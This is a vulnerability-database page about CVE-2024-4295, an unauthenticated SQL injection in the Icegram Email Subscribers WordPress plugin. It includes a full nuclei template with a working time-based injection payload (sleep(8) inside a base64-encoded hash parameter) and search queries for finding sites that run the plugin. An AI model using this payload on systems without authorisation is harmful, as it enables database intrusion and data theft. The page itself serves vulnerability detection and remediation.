HexBrain

Browse / CVEs / CVE-2024-4295

CVE-2024-4295· icegram / email subscribers \& newsletters· CWE-89

Email Subscribers by Icegram Express <= 5.7.20 - Unauthenticated SQL Injection via Hash

criticalseverity
9.8CVSS score
10.2%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

Email Subscribers by Icegram Express <= 5.7.20 contains an unauthenticated SQL injection vulnerability via the hash parameter.

Impact

This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Fix

Fixed in 5.7.21

How to confirm it

Send: GET {{BaseURL}} ; GET {{BaseURL}}/wp-content/plugins/email-subscribers/readme.txt
Positive when: contains_any(body, "email-subscribers-", "Email Subscribers by Icegram Express")
Send: @timeout: 20s
Positive when: duration>=8 and contains(body, "You have been successfully subscribed")

Run it with nuclei: nuclei -id CVE-2024-4295 -u <target>

The full check
id: CVE-2024-4295

info:
  name: Email Subscribers by Icegram Express <= 5.7.20 - Unauthenticated SQL Injection via Hash
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Email Subscribers by Icegram Express <= 5.7.20 contains an unauthenticated SQL injection vulnerability via the hash parameter.
  remediation: Fixed in 5.7.21
  impact: This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/641123af-1ec6-4549-a58c-0a08b4678f45?source=cve
    - https://github.com/cve-2024/CVE-2024-4295-Poc
    - https://github.com/truonghuuphuc/CVE-2024-4295-Poc
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4295
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-4295
    cwe-id: CWE-89
    epss-score: 0.10161
    epss-percentile: 0.95694
    cpe: cpe:2.3:a:icegram:email_subscribers_\&_newsletters:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: icegram
    product: email_subscribers_\&_newsletters
    framework: wordpress
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/email-subscribers/"
    fofa-query: body="/wp-content/plugins/email-subscribers/"
  tags: time-based-sqli,cve,cve2024,wordpress,wp-plugin,wp,email-subscribers,sqli,vkev,vuln

flow: http(1) && http(2)

variables:
  contact_id: "{{contact_id}}"
  email: "{{email}}"
  rawhash: '{"message_id":0,"campaign_id":0,"contact_id":"{{contact_id}}","email":"{{email}}","guid":"dibwol-qaiebd-qvrgkp-lhyopm-rmyfzo","list_ids":["sleep(8)"],"action":"subscribe"}'

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/wp-content/plugins/email-subscribers/readme.txt"

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "email-subscribers-", "Email Subscribers by Icegram Express")'
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /?es=optin&hash={{ base64(rawhash) }} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=8'
          - 'contains(body, "You have been successfully subscribed")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from